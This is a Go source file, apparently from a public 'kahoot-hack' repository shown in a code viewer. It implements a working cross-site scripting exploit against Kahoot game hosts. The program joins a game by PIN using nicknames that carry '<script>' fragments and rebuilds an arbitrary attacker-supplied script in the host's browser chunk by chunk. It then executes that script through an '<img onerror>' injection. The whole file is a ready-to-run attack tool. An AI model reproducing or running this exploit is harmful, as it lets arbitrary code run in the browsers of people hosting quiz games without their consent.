Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
unixpickle
GitHub Repository: unixpickle/kahoot-hack
Path: blob/master/kahoot-xss/main.go
10110 views
1
package main
2
3
import (
4
"fmt"
5
"os"
6
"strings"
7
"sync"
8
"time"
9
10
"github.com/unixpickle/kahoot-hack/kahoot"
11
)
12
13
var wg sync.WaitGroup
14
15
func main() {
16
if len(os.Args) != 3 {
17
fmt.Fprintln(os.Stderr, "Usage: xss <game pin> <script>")
18
os.Exit(1)
19
}
20
gamePin := os.Args[1]
21
22
elementText := `<img src="" onerror="` + escapeScript(os.Args[2]) + `">`
23
24
uploadInjectionString(gamePin, elementText)
25
d1, d2 := computeDelays(1)
26
if err := runShortScript(gamePin, "$(Z)", d1, d2); err != nil {
27
fmt.Fprintln(os.Stderr, "Failed to execute code:", err)
28
os.Exit(1)
29
}
30
}
31
32
func uploadInjectionString(gamePin string, inject string) {
33
d1, d2 := computeDelays(1)
34
if err := runShortScript(gamePin, "Z=''", d1, d2); err != nil {
35
fmt.Fprintln(os.Stderr, "Initial script failed:", err)
36
os.Exit(1)
37
}
38
for i := 0; i < len(inject); i += 32 {
39
if i+32 >= len(inject) {
40
uploadNextChunk(gamePin, inject[i:])
41
} else {
42
uploadNextChunk(gamePin, inject[i:i+32])
43
}
44
}
45
}
46
47
func uploadNextChunk(gamePin string, chunk string) {
48
// This makes uploading a chunk take logarithmic time instead of linear time. Much faster.
49
var wg sync.WaitGroup
50
d1, d2 := computeDelays(32)
51
for i := 0; i < 32; i++ {
52
var ch byte
53
if i < len(chunk) {
54
ch = chunk[i]
55
}
56
wg.Add(1)
57
go func(i int, ch byte) {
58
defer wg.Done()
59
var err error
60
if ch == 0 {
61
err = runShortScript(gamePin, nthVariableName(i)+"=''", d1, d2)
62
} else if ch == '\'' {
63
err = runShortScript(gamePin, nthVariableName(i)+`="'"`, d1, d2)
64
} else {
65
err = runShortScript(gamePin, nthVariableName(i)+"='"+string(ch)+"'", d1, d2)
66
}
67
if err != nil {
68
fmt.Fprintln(os.Stderr, "Error uploading character:", err)
69
os.Exit(1)
70
}
71
}(i, ch)
72
}
73
wg.Wait()
74
for i := 16; i >= 1; i /= 2 {
75
d1, d2 = computeDelays(i)
76
var destStart int
77
var sourceStart int
78
if i == 16 || i == 4 || i == 1 {
79
destStart = 32
80
sourceStart = 0
81
} else {
82
destStart = 0
83
sourceStart = 32
84
}
85
for j := 0; j < i; j++ {
86
wg.Add(1)
87
go func(j int) {
88
defer wg.Done()
89
x := j * 2
90
err := runShortScript(gamePin, nthVariableName(destStart+j)+"="+
91
nthVariableName(sourceStart+x)+"+"+
92
nthVariableName(sourceStart+x+1)+"", d1, d2)
93
if err != nil {
94
fmt.Fprintln(os.Stderr, "Error folding strings:", err)
95
os.Exit(1)
96
}
97
}(j)
98
}
99
wg.Wait()
100
}
101
if err := runShortScript(gamePin, "Z+="+nthVariableName(32), d1, d2); err != nil {
102
fmt.Fprintln(os.Stderr, "Error finishing off chunk:", err)
103
os.Exit(1)
104
}
105
}
106
107
func escapeScript(script string) string {
108
script = strings.Replace(script, "\"", "&quot;", -1)
109
return script
110
}
111
112
func runShortScript(gamePin string, script string, delay1, delay2 time.Duration) error {
113
conn, err := kahoot.NewConn(gamePin)
114
if err != nil {
115
return err
116
}
117
118
if err := conn.Login("<script>" + script + "//"); err != nil {
119
conn.GracefulClose()
120
return err
121
}
122
123
time.Sleep(delay1)
124
conn.GracefulClose()
125
time.Sleep(delay2)
126
127
return nil
128
}
129
130
// computeDelays figures out about how much time it will take for the
131
// kahoot host to register and execute a certain number of simultaneous
132
// script executions.
133
//
134
// I tested these times on a POS chromebook and they were still more than enough.
135
// To be fair, though, my internet was pretty fast at the time.
136
func computeDelays(numSimul int) (delay1, delay2 time.Duration) {
137
if numSimul == 1 {
138
delay1 = time.Second / 2
139
delay2 = time.Second / 2
140
return
141
} else if numSimul <= 4 {
142
delay1 = time.Second
143
} else if numSimul <= 8 {
144
delay1 = time.Second + time.Millisecond*500
145
} else {
146
delay1 = time.Second * 2
147
}
148
delay2 = delay1 / 2
149
return
150
}
151
152
func nthVariableName(n int) string {
153
// TODO: support unicode variable names for ultimate hacks.
154
if n < 26 {
155
return string('a' + rune(n))
156
} else {
157
return string('A' + rune(n-26))
158
}
159
}
160
161